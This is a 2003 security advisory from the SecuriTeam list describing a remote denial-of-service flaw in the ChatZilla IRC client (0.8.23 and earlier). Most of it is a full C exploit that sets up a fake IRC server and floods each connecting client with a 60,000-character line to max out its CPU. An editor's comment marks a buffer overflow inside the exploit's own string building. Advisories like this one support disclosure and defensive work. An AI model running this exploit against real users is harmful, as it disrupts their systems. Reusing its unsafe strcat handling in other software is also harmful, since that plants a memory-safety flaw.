[UNIX] ChatZilla Remote Denial of Service Vulnerability (Long Buffer)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/16/03

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Date: 16 Sep 2003 15:53:55 +0200

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      ChatZilla Remote Denial of Service Vulnerability (Long Buffer)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mozilla.org/projects/rt-messaging/chatzilla/> ChatZilla is
    "an IRC client that is written entirely in JavaScript and XUL". A
    vulnerability in the ChatZilla product allows IRC server to cause the
    product to consume large amount of CPU time by sending it an arbitrary
    long command.

    DETAILS

    Vulnerable systems:
     * ChatZilla version 0.8.23 and prior

    It is possible to freeze system by sending special request with very long
    string (60kb) to ChatZilla.

    Exploit:
    /*
     * ChatZilla <=v0.8.23 remote DoS exploit
     *
     * by m00 Security // www.m00security.org
     *
     * This sploit creats a fake irc-server on any port. Every connected
     * ChatZilla-client will have cpu-usage 100%.
     *
     * Complete advisory:
     * www.m00security.org/adv/adv003.txt
     *
     * -d4rkgr3y [d4rk@securitylab.ru]
     */

    #include<sys/types.h>
    #include<sys/socket.h>
    #include<netinet/in.h>
    #include<arpa/inet.h>
    #include<unistd.h>
    #include<signal.h>
    #include<stdio.h>
    #include<stdlib.h>
    #include<string.h>

    #define COUNT 60000
    #define request "NOTICE AUTH :*** Welcome to fake m00 IRCd\n"

    int main(int argc, char **argv)
    {
      struct sockaddr_in db;
      int sock, i, len, lame;
      const c = COUNT;
      char buf[60000] = ":Serv 000 user666 :Welcome to the underworld";
      printf("\nChatZilla <=v0.8.23 remote DoS exploit //
    www.m00security.org\n\n");
      if (argc!=2){
        printf("[-] error in params. Usage\n %s port\n",argv[0]);
        exit(1);
      } else {
        printf("[~] Generating evil buf....");
      }
      /* constructing evil buf */
      for (i=0;i<c;i++)
      {
        strcat(buf,"A"); <-- Editor's note, there is an off-by-more than one
    here :)
      }
      strcat(buf,"\n");
      printf(" OK\n");
      /* creating fake irc-server */
      db.sin_family = AF_INET;
      db.sin_addr.s_addr = INADDR_ANY;
      db.sin_port = htons(atoi(argv[1]));
      sock = socket(PF_INET, SOCK_STREAM, 0);
      if(bind(sock, (struct sockaddr*)&db, sizeof(db)) == -1) {
        perror("[-] bind()");
        _exit(0);
      }
      /* OK */
      printf("[+] fake ircd created on port %s\n",argv[1]);
      /* waiting for connect */
      listen(sock, SOMAXCONN);
      while(1) {
        printf("[+] User connected. Attacking....");
        len = sizeof(db);
        lame = accept(sock, (struct sockaddr*)&db, &len);
        /* go go go */
        write(lame,request,strlen(request));
        write(lame,buf,strlen(buf));
        printf(" OK\n");
        close(lame);
        close(sock);
        return(0);
      }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:grey_1999@mail.ru> d4rkgr3y.

    ========================================

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